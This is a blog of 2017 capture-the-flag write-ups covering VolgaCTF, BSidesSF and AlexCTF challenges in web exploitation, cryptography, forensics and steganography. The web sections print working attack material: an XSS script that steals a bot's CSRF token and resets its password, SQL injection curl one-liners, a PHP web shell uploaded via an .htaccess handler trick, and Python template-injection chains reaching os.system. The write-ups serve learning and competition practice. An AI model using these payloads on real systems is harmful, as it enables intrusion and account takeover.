Monday, March 27, 2017

VolgaCTF 2017 Quals - Corp News (300)

Challenge Description:

We have created an excellent service for obtaining corporate news. You never know the secret information


Some errors may shed light on what is there on the backend

This challenge was a lot of fun, it was a mix of 2 bugs and required a little recon to find out more about the technology on the server.

First, when poking around the server, it displayed errors in the standard NodeJS Express way, so we could assume for now it's running a Node server. Ex.:

Cannot GET /unknown-page

Next we started looking at the cookies, this is where it got a little odd. We know the server is running Node & Express, why is there a cookie called PHPSESSIONID? What kind of mad world are we living in?!


It turns out this had nothing to do with the rest of the challenge, maybe just a strange developer decision to keep similar names when dealing with sessions...

Once we're logged in, it redirects us to a profile page, the only feature on this page is a button to change our own password. There doesn't seem to be any apparent reason we would want to do this initially. Looking at the source it seemed fairly standard, the one interesting part to note is that there was some sort of CSRF token being passed to the backend for this page.

Home doesn't have much on it, so the next page to look at is News.

On the News page we get a small welcome message with a randomly generated username, a comment submission and a button to retrieve "private news".  Reading private news sounds like an attractive target, so let's start there.  When clicking this button we get a message written below saying:

Please, set debug header true, becouse the app in developing state:)

They want us to set some debug header, so let's see what we can modify. Initially we tried many different ideas. Sending HTTP headers, including 'debug=true', or 'debug:true' in the data of the post request, visiting News with ?debug=true, etc. It really came down to understanding what type of backend was setup.

First looking at the request in the front-end code, we can see some opportunities for modification:

<button onclick="loadNews()" class="btn btn-primary">Read private news</button>

function loadNews() {
    var data = {
    'resultFormat': 'text'
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);

If we copy this function into the developer console and remove 'text' from the 'resultFormat' in data, we start to see an interesting error:

Error: `result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).

When looking up '"result_format" javascript nodejs' on Google we find this issue on GitHub:

Under Optargs, this mentions: 'result_format=( text | json | jsonp | auto ): choose how to format the result (see below); default="auto"'

This looks very familiar! It sounds like we're working with RethinkDB on the backend!

Looking at the ReQL command reference on rethinkdb's site, we see the same options reflected back in the error -

This was nice when verifying we were really working with RethinkDB. Any keys added to data which were invalid, would throw, otherwise it would silently succeed. Displaying the adjacency between our dynamic tests and the documentation.

The interesting part of the ReQL documentation was the Request Options, this showed us a place for headers & db query params:

method: HTTP method to use for the request. One of GET, POST, PUT, PATCH, DELETE or HEAD. Default: GET.
auth: object giving authentication, with the following fields:
type: basic (default) or digest
user: username
pass: password in plain text
params: object specifying URL parameters to append to the URL as encoded key/value pairs. { query: 'banana', limit: 2 } will be appended as ?query=banana&limit=2. Default: no parameters.
header: Extra header lines to include. The value may be an array of strings or an object. Default: Accept-Encoding: deflate;q=1, gzip;q=0.5 and User-Agent: RethinkDB/.
data: Data to send to the server on a POST, PUT, PATCH, or DELETE request. For POST requests, data may be either an object (which will be written to the body as form-encoded key/value pairs) or a string; for all other requests, data will be serialized as JSON and placed in the request body, sent as Content-Type: application/json. Default: no data will be sent.

The params feature would be great to control, unfortunately this did not work in this situation, and wasn't the intended target for this application. The key 'header' is very interesting for us, it allows us to inject custom headers which RethinkDB may use for various purposes. In this case, we're adding the custom debug flag:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'debug': 'true'
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);

After loading this new patch, we can see it returns a different response:

VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February.

This was very nice to see, some progress that we're moving forward. Next let's look at the comment form.

When sending a standard comment, a small flash message pops up and disappears, nothing else noticeable happens.

Thank you, for your answer, my friend!:)

This seems like a good place to test for XSS. After setting up a small remote server, we can see the request go through.

For this article, I'll be setting up small tests on to test it out again (very useful for this situation).

First we send a very simple XSS test to fingerprint the browser and figure out what we're working with:

<script src=""></script>
  $.post("", "SUCCESS!")

This returns the following values (including the success message):

Connect-Time: 1
X-Request-Id: 034f6890-6cc8-429a-9408-1f8cd4720112
Accept: */*
Cf-Visitor: {"scheme":"http"}
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept-Encoding: gzip
Accept-Language: en-US,*
Via: 1.1 vegur
Cf-Ray: 34604e8380f74f38-DME
Content-Length: 8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Cf-Ipcountry: RU

There were Three notable pieces of information here. First was that this came from an automated PhantomJS browser. Second was the referrer mentioning the term bot as well as the idea that the bot was most likely on the same box as the server: ''. The third chunk of information was that this server was running on port 3000, not what we expect since we originally visited the application over port 80. If we check port 300 it does exist on the server (without many of the resources) -

So we have some randomly created user (and their name from the comment box) running our script, maybe we should go back to that profile section and see if we can change this user's password?

With a simple script we can pull the profile page for the bot at '/lk' and check the CSRF token setup. Taking this token we can pass it along to the '/change_password' route and send a success or failure message to another request bin -

<script src=""></script>
var SERVER = '';
var P = "__s0m3Passw0rdH3r3__";

$.get('/lk', function(d) {
  var t = $(d).find('.control-group .invisible').text();
  var data = { "new_password": P, "confirm_password": P, "token": t };
    type: 'POST',
    url: '/change_password',
    contentType: 'application/json',
    data: JSON.stringify(data),
    success: function(xhr) {
      $.post(SERVER, 'SUCCESS!!!');
    error: function(xhr) {
      $.post(SERVER, 'ERRZ');

Looks like it worked! Now we can login as this user!

Immediately we see a difference after we login:

It looks like we've got a 'secret' header value to try out.  Let's go back to the News section and insert it into the header section.

Setting the loadNews() function up again with the new 'secret' value:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'secret': 'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7',
         'debug': 'true'
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);

And we have the flag!


Sunday, March 26, 2017

VolgaCTF 2017 Quals - VC (50)

This was a very quick one, instantly saw this coming with the low point score, two images and description:

There are files A.png and B.png. But where's the flag?

Primarily posting this to show off a feature in StegSolve.

After loading StegSolve, open up the first png, (File > Open > [choose A.png]).
Next go to Analyse > Image Combiner, and select B.png.
The first option XOR should instantly solve this challenge (for other algorithms, use the left and right arrow to preview them).

You may then save the result for later use : )

VolgaCTF 2017 Quals - Bloody Feedback (100)

Disclaimer: During this challenge, I binge watched all of Black Books. This explains the memes below.

Starting out we're presented with a feedback form to submit some data (name, email, message).

There was also an input field at the top right looking like a search box.  Immediately tried putting a tick mark there to see if an error would be reflected:

This will send us to
Immediately inferring this is a perl application looking at the file extension noted in the error:

After playing around with the code looking for command-injection it turns out the application would accept any 32 byte string within the character range [A-Za-z0-9].  Looks like we couldn't get too far with this.

Valid URL ex.:

The next area to check was the initial feedback form.  Email had to be turned on, which seemed to be a good field to play with.

This seemed to have a very simple front-end validation setup for email, where type="email" in the markup.

Any feedback submitted is displayed in the "Top Messages" section, except the email field.  This helped when testing for XSS / CSRF, SQLi, etc.  But "Top Messages" did not seem to be reflecting any errors or execution.

Next we try an invalid email, maybe a quote mark to check for SQLi:

Sooooo, looks like SQLi, right?

If we look up DBD::Pg::db, we find the reference
Also from looking at it, one could infer this is a Postgres db.

Let's try a few different types of injections until we get back to a non-error state!

First to get this into a scriptable state, we'll dump the cURL command from Chrome's Developer Tools.  In the network tab, go to the submission request, right click > Copy > Copy as cURL.

After pasting this on the command-line, hitting ctrl+x+e we can open in $EDITOR (currently set to VIM for this session).  In VIM we can use :%s/-H/-H \\\r/g to clean up the lines of the request.  Now we can go ahead and delete most of the headers which won't be used in this challenge.  This ends up turning into a one-liner, but for other challenges this may be different.

$ curl '' --data "name=x&message=x&email='" 

This will dump the page contents and we can grep for any errors that get reflected back:

$ curl '' --data "name=n&message=m&email=',version())-- - " | grep -i error -A6

This will dump:

ERROR: DBD::Pg::db do failed: ERROR:  value too long for type character varying(30) at line 29.

It looks like version() returns a string that's too long, so we can cut it using substr().

$ curl '' --data "name=n&message=m&email=', substr(version(), 0, 30))-- - "
<p><h3>Check status</h3><a href='/check/?code=Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI'>Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI</a></p>

Now let's do something a little more interesting....

To get the table names we can query pg_catalog.pg_tables for tablename, this will return multiple rows, if we set a limit and offset, we can enumerate all values.

url '' --data "name=n&message=m&email=', (SELECT tablename FROM pg_catalog.pg_tables limit 1 offset 1)) -- - "

So we've got the table name, now we need to find any interesting column names, we can do that by looking at column_name in information_schema.columns:

curl '' --data "name=n&message=m&email=', (select column_name from information_schema.columns limit 1 offset 6 )) -- - "

Now when we combine those two together:

curl '' --data "name=n&message=m&email=', (select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 4 )) -- - "

VolgaCTF 2017 Quals - SharePoint (200)

This CTF was a lot of fun, we ended up solving six challenges and landing in the top 100 which didn't seem too bad for 1-2 of us playing. Also learned about a few topics in the process.

SharePoint was a web challenge which starts out with a login form. Most of the web challenges consisted of a similar authentication method. Simply login with any creds you'd like to use (restricted to regular expression with length > 7), and it'll register / sign-in to that user account, probably setup this way for simplicity.

After logging in, we're presented with a web application that allows you to upload and share files with other users.

The first thought on a web application like this is: File Upload -> LFI. It turns out this was exactly what it was, with a small twist.

Uploading the obvious example, a php web-shell caused an error to be displayed.  It probably filters based on filename extension, such as php, html, etc.  Uploading the web shell as a png seemed to work, but the server wouldn't execute php in this file by default.

Looking at the share functionality we could see that it just performs a php copy() operation from one user's files directory to another.  It also seemed as if we could traverse up the directory structure to pull files such as ../../index.php, ../../.htaccess, etc.  Unfortunately during the challenge we didn't find an easy way to read these files, so this wasn't very helpful.

What we can do is setup our own .htaccess file since we have control over a full directory and the names / content of the files uploaded do not change. We may also want to see the directory contents and add our own executable php format to the server to get around the file extension restriction. To do this we can add the following rules to a small .htaccess file and upload it to the server:

Options +Indexes
AddHandler application/x-httpd-php .vv
AddType application/x-httpd-php .vv
AddType application/x-httpd-php5 .vv

We'll also upload a very simple web shell to the server to get code exection:

<pre><?php echo system($_GET['c']); ?></pre>

Visiting the link to the shell and passing in a command seems to work:

Linux cs76582 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Now to look for something more interesting, the flag:|+grep+flag


There were many files listed, a hint mentioned the flag was in an 'optimal' location, referencing /opt.
Checking out this file (/opt/flag.txt), we get:


Loved this challenge, and learned a little about Apache rules in the process!

Tuesday, February 14, 2017

BSidesSF 2017 - Web: Zubmo

The Google & Synack sponsored BSidesSF CTF was fantastic this year! From easier challenges to difficult, and some very innovative for challenges, it was a lot of fun to play!


Zubmo 1 (20)

On Zubmo we start off on the route 'index.template' -

Attempting to hit robots.txt, we get this odd message: [Errno 2] No such file or directory: u'robots.txt'

The python unicode string instantly stuck out identifying this as a python backend.

Looking at the source of index.template, we get this nice comment towards the bottom:

<!-- page: index.template, src: /code/ -->

Next, it was time to check out to see if it exists, visiting we get:

import flask, sys, os
import requests

app = flask.Flask(__name__)
counter = 12345672

def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

def home():
    return flask.redirect('/index.template');

if __name__ == '__main__':
    with open('/flag') as f:
            flag2 =
    flag3 = requests.get('http://vault:8080/flag').text

    print "Ready set go!"

And with that, we've already completed Zubmo 1! Dropping the flag:


Zubmo 2 (100)

The next flag was located in the file /flag on the server. This next part was solved by a team-mate very quickly, but here's how it was done:


This was just urlencoded directory traversal, nice! :) So now we can read any file on the server as well.

Zubmo 3 (250)

This next part ended up taking a while to complete.  Because there was a load balancer setup on the server, it added an element of difficulty to read & write files using two commands.

In the beginning of this blog post we see that there's the python unicode strings being dumped to the page:

[Errno 2] No such file or directory: u'robots.txt'

This comes from this section in the code:

        template = open(page).read()
    except Exception as e:
        template = str(e)

It's nice we're able to get some output from the server. After a few attempts checking string escaping, we look elsewhere. Stumbling on a few blog posts about python server exploitation was invaluable. The main ones we ended up referring to were:

Part II of the article from nvisium turned out to be the intended solution.  After trying that one out multiple times and failing, I ended up doing it the hard way, which is what I'll be describing in this post.

All of these articles are about SSTI or Server Side Template Injection.

Here's a very basic example of this:{{ 1+1 }}

Which results in the following:

[Errno 2] No such file or directory: u'2'

So we can execute some python! Great! Although we don't have access to everything because of the context of the templating engine. For example:{{ print("hello") }}

Results in an ISE:

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

We can still work with this though. The third article linked was invaluable for stepping through the process, similar to other CTF challenges with python jails.

Looking at an empty string's __mro__ we can access the following classes:{{ ''.__class__.__mro__ }}

[Errno 2] No such file or directory: u"(<type str="">, <type basestring="">, <type object="">)"

Now we can dive into the object class and grab a few other modules, with this we get quite a lot:{{ ''.__class__.__mro__[2].__subclasses__() }}

[Errno 2] No such file or directory: u"[
<type 'type'>,
 <type 'weakref'>,
 <type 'weakcallableproxy'>,
 <type 'weakproxy'>,
 <type 'int'>,
 <type 'basestring'>,
 <type 'bytearray'>,
 <type 'list'>,
 <type 'NoneType'>,
 <type 'NotImplementedType'>,

What we're now looking for in here is the method 'warnings.catch_warnings'. This contains linecache which uses os. The os module contains the os.system method, which for us means RCE.

This ends up being at index 59:{{ ''.__class__.__mro__[2].__subclasses__()[59] }}

[Errno 2] No such file or directory: u"<class 'warnings.catch_warnings'>"

Continuing this treasure hunt to find the index of a module inside the list of subclasses & func_globals we land on system:{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144] }}

[Errno 2] No such file or directory: u""

Now we can call this with any command!  Let's just curl that url as they do in the python script:{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag') }}

[Errno 2] No such file or directory: u"0"

Unfortunately the stdout doesn't get redirected to us in this case, but that's okay, we can just check a file.{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag > /tmp/wubalubadubdub') }}

Now using the directory traversal previously (or using the file module exposed on index 40 of object), we can read in the file!


This ended up being a little different than the standard technique, it also ended up giving us root on the server instead of just dropping the flag.

Tuesday, February 7, 2017

AlexCTF 2017 - Crypto

CR1: Ultracoded (50)

Starting out with a very simple one, here's the description:

Fady didn't understand well the difference between encryption and encoding, so instead of encrypting some secret message to pass to his friend, he encoded it!
Hint: Fady's encoding doens't handly any special character

Initially we're given a file (named zero_one) with a bunch of spelled-out bits:


First thing to do in this situation is to use a bit of sed to convert them all to their original form:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;'


Next we can find what this turns into with some perl:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;' | perl -lpe '$_=pack"B*",$_'


Now we have some Base64 we can decode:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;' | perl -lpe '$_=pack"B*",$_' | base64 -D

.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

Aaaand now we have some Morse code, which ended up being decoded using -
If anyone knows a good command-line tool for this, please leave a comment below! Would love to add that to the one-liner!

Using the online tool, we get this result:


It wasn't over yet, this wasn't the flag based on their flag format, but it wasn't too difficult to spot the encoding, all O characters were really underscores:


CR2: Many time secrets (100)


This time Fady learned from his old mistake and decided to use onetime pad as his encryption technique, but he never knew why people call it one time pad!

Not sure who this Fady person is, sounds familiar... Sounds like we need to crack a poorly encrypted message with OTP issues.
Downloading the file they provide, called msg, we see it's a few lines of hex:


Looking up common techniques for cracking OTP we can find the Many Time Pad Attack / the Crib Dragging technique -

There's a very nice python library for crib dragging here -

This allows us to easily read in msg file and start the process of discovery. First we need the messages on one line:

$ cat msg | tr -d '\n'; echo


Then we pass this in as the first argument to the tool, initially we have a blank canvas:

./cribdrag/ 0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b

Your message is currently:
0       ________________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Your key is currently:
0       ________________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Please enter your crib:

Now we know that the flag will be in the format ALEXCTF{...}, so we can start with that:

Please enter your crib: ALEXCTF{
*** 0: "Dear Fri"
1: "hho;Q`TV"
2: "ef&JwFkP"
3: "k/WlQymM"
4: ""^qJnp"
5: "SxWuhb/"
6: "u^hsu=9h"
7: "Sann*+U\"

Many examples were dropped (276), and a few of them were intelligible. The first one looked like a good candidate, starting with 0, we identify it as a 'message'.

Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0       ALEXCTF{________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Your key is currently:
0       Dear Fri________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Please enter your crib:

"Dear Friend," makes the most sense in the clue we have, so going with that we can find more information:

Please enter your crib: Dear Friend,

This time 0 is the key, next we can guess underscore is after 'HERE' in the flag from the normal flag format. Continuing this process onwards will fill in the full flag:

Please enter your crib: ALEXCTF{HERE_
*** 260: "ncryption sch"
Enter the correct position, 'none' for no match, or 'end' to quit: 260
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: encryption scheme
Enter the correct position, 'none' for no match, or 'end' to quit: 259
Is this crib part of the message or key? Please enter 'message' or 'key': key
Please enter your crib: }ALEXCTF{HERE_GOES_
*** 207: "ecure, Let Me know "
Enter the correct position, 'none' for no match, or 'end' to quit: 207
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: }ALEXCTF{HERE_GOES_
*** 233: "agree with me to us"
Enter the correct position, 'none' for no match, or 'end' to quit: 233
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: agree with me to use this encryption scheme

Enter the correct position, 'none' for no match, or 'end' to quit: 233
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0       ALEXCTF{HERE____________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     _______}ALEXCTF{HERE_GOES________}ALEXCT
280     ____
Your key is currently:
0       Dear Friend,____________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     _______ecure, Let Me know _______agree w
240     ith me to use this encryption scheme____
280     ____
Please enter your crib:


Enter the correct position, 'none' for no match, or 'end' to quit: none
No changes made.
Your message is currently:
280     E_KEY
Your key is currently:
0       Dear Friend, This time I understood my m
40      istake and used One time pad encryption
80      scheme, I heard that it is the only encr
120     yption method that is mathematically pro
160     ven to be not cracked ever if the key is
200      kept secure, Let Me know if you agree w
240     ith me to use this encryption scheme alw
280     ays 



CR4: Poor RSA (200)


This time Fady decided to go for modern cryptography implementations, He is fascinated with choosing his own prime numbers, so he picked up RSA once more. Yet he was unlucky again!


This was a challenge where a little crypto education would've helped. Started this one off by looking up previous write-ups for RSA based challenges on a CTF. This one turned out to be great! -

Extracting the tar.gz gave us two files, a encrypted flag and a public key:

-rw-r--r--@  1 user  staff    69B Dec 11 01:08 flag.b64
-rw-r--r--@  1 user  staff   162B Dec 11 00:59

Walking through that writeup made this process very simple, starting off by identifying how many bits are used on the public key:

Modulus (399 bit):
Exponent: 65537 (0x10001)

Looks like we also got an odd amount of bits (no pun intended).
Now we need to format the hex values to get the integer product:

openssl rsa -noout -text -inform PEM -in -pubin | grep -Evi 'mod|exp' | tr -d ':\n '

Then to get the int value, pass it into python:

$ openssl rsa -noout -text -inform PEM -in -pubin | grep -Evi 'mod|exp' | tr -d ':\n ' | xargs python -c 'import sys; print int(sys.argv[1], 16)'


Now we can query factordb for this value:

We end up seeing there is a match!

This turns out to be:
863653476616376575308866344984576466644942572246900013156919 * 965445304326998194798282228842484732438457170595999523426901

Now that we have p & q, we can generate the private key using RSATool -

$ python ./rsatool/ -p 863653476616376575308866344984576466644942572246900013156919 -q 965445304326998194798282228842484732438457170595999523426901 -o ./priv.key

Finally we just need to decrypt the flag using openssl:

$ openssl rsautl -decrypt -in flag.raw -inkey priv.key

This drops the Flag:


Monday, February 6, 2017

AlexCTF 2017 - Forensics & Scripting

Fore3: USB probing (150)

On this challenge we're given a pcap and a description mentioning something is to be found from a USB data transfer. Noticed lots of USB-based pcap challenges on AlexCTF & BITSCTF this year...

One of our agents managed to sniff important piece of data transferred transmitted via USB, he told us that this pcap file contains all what we need to recover the data can you find it ?


Firing up wireshark and sorting the packets by size, we can see on the largest one there's a familiar segment in the data section:

Looks like there's a png in here!  By right clicking and selecting "Leftover Capture Data" > "Copy" > " Hex Dump" will give us the bytes we need for this challenge.  Throwing that into vim and doing a quick deletion of the first column, then %s/ //g; %s/\n//g will give us one string of hex.  Now we can export the binary data (saved as ./raw) with something like this:

cat ./raw | xargs python -c 'import sys; print sys.argv[1].decode("hex")'  > out1.png

Now we can check out this png for filetype & exif

$ file out1.png
out1.png: PNG image data, 460 x 130, 8-bit/color RGBA, interlaced

$ exiftool out1.png
ExifTool Version Number         : 10.08
File Name                       : out1.png
Directory                       : .
File Size                       : 60 kB
File Modification Date/Time     : 2017:02:06 18:09:03-08:00
File Access Date/Time           : 2017:02:05 19:13:06-08:00
File Inode Change Date/Time     : 2017:02:06 18:09:03-08:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 460
Image Height                    : 130
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Adam7 Interlace
Gamma                           : 2.2
Background Color                : 255 255 255
Pixels Per Unit X               : 2835
Pixels Per Unit Y               : 2835
Pixel Units                     : meters
Modify Date                     : 2016:12:31 19:24:31
Comment                         : Created with GIMP
Warning                         : Corrupted PNG image
Image Size                      : 460x130
Megapixels                      : 0.060

It worked! It's a little corrupted, but as you can see below as we view the image (with alpha fixed), it's good enough to read the flag:

SC1: Math Bot (100)

It is well known that computers can do tedious math faster than human.

nc 1337

On this challenge I ended up one of my own tools, PwnUp!  It's a CLI utility for pwntools which allows you to scaffold out a quick client for a remote interactive challenge. Here's a sample run setting up the client for this challenge:

[*] Running PwnUp 1.0.6
 [?] Choose a type.
       1) ssh
    2> 2) remote
       3) local
[*] You Chose: remote
host >
port > 1337
[+] Opening connection to on port 1337: Done
[*] Press <Ctrl-D> to stop recording ...
[*] Switching to interactive mode
         ______/ ________ \______
       _/      ____________      \_
     _/____________    ____________\_
    /  ___________ \  / ___________  \
  /  /############/    \############\  \
__|\_____   ___   //  \\   ___   _____/|__
[_       \     \  X    X  /     /       _]
__|     \ \                    / /     |__
[____  \ \ \   ____________   / / /  ____]
     \  \ \ \/||.||.||.||.||\/ / /  /
      \_ \ \  ||.||.||.||.||  / / _/
        \ \   ||.||.||.||.||   / /
         \_   ||_||_||_||_||   _/
           \     ........     /

Our system system has detected human traffic from your IP!
Please prove you are a bot
Question  1 :
218318831115561303988112386917565 / 13366707491950058576832163796786 =

This dumps the client:

#!/usr/bin/env python
from pwn import *

r = remote('', 1337)

def main():
  print(r.recvuntil('66707491950058576832163796786 =\n'))

if __name__ == "__main__":

The initial client setup has been done, now we just have to generalize the maths. Through a couple iterations, it ended up looking something like this:

#!/usr/bin/env python
from pwn import *

r = remote('', 1337)

def main():
  for x in range(250):
    print r.recvuntil(' :\n')
    x = r.recvuntil('=\n').replace('=', '')
    print 'Q: {}'.format(x)

    value = 0
    _l, op, _r, _ = x.split(' ')
    _l = int(_l)
    _r = int(_r)

    if op is '+':
      value = _l + _r
    elif op is '-':
      value = _l - _r
    elif op is '*':
      value = _l * _r
    elif op is '%':
      value = _l % _r
    elif op is '/':
      value = _l / _r

    print 'R: {}'.format(value)

  print r.recvline()
  print r.recvline()
  print r.recvline()
  print r.recvline()


if __name__ == "__main__":

Running this script gives us:

Q: 174942629367119018977343151908382 - 15526770931750616720349747677112

R: 159415858435368402256993404231270
Question  247 :

Q: 60323767070161082714762485861860 + 233868579061398884615403732403639

R: 294192346131559967330166218265499
Question  248 :

Q: 249001744992309701987741377654436 + 119589169821601639702529040150239

R: 368590914813911341690270417804675
Question  249 :

Q: 186075071179272307783795940653753 + 205359634338042277068417382152009

R: 391434705517314584852213322805762
Question  250 :

Q: 103090646436160362683705207412345 + 111725961983915005271322948765063

R: 214816608420075367955028156177408
Well no human got time to solve 500 ridiculous math challenges

Congrats MR bot!

Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}

Dropping the flag around question 250:


SC2: Cutie Cat (150)

Usually steganography challenges give me confidence, this one however, did not.  It was still a fun challenge, but I ended up coming back to it and the hint gave away the answer for me.  Initially I had tried many methods, alpha masks, lsb, threshold tweaking / bit layers, xor, etc.  Here is the description with the hint:

yeah steganography challenges are the worst... that's why we got only ~~one ~~ two steganography challenges .
Hint: It scripting because we need a python library to solve the challenge, one that is made in japan.

Searching a bit through the internets for python libraries made in japan, lead me to this page -

On here, if you search for stego, you find this library -

After installing it and running it against the image, it was instant gratification:

$ steganography -d cat_with_secrets.png


Again, not the most exciting stego challenge, but I was happy it lead to a moment of recon : )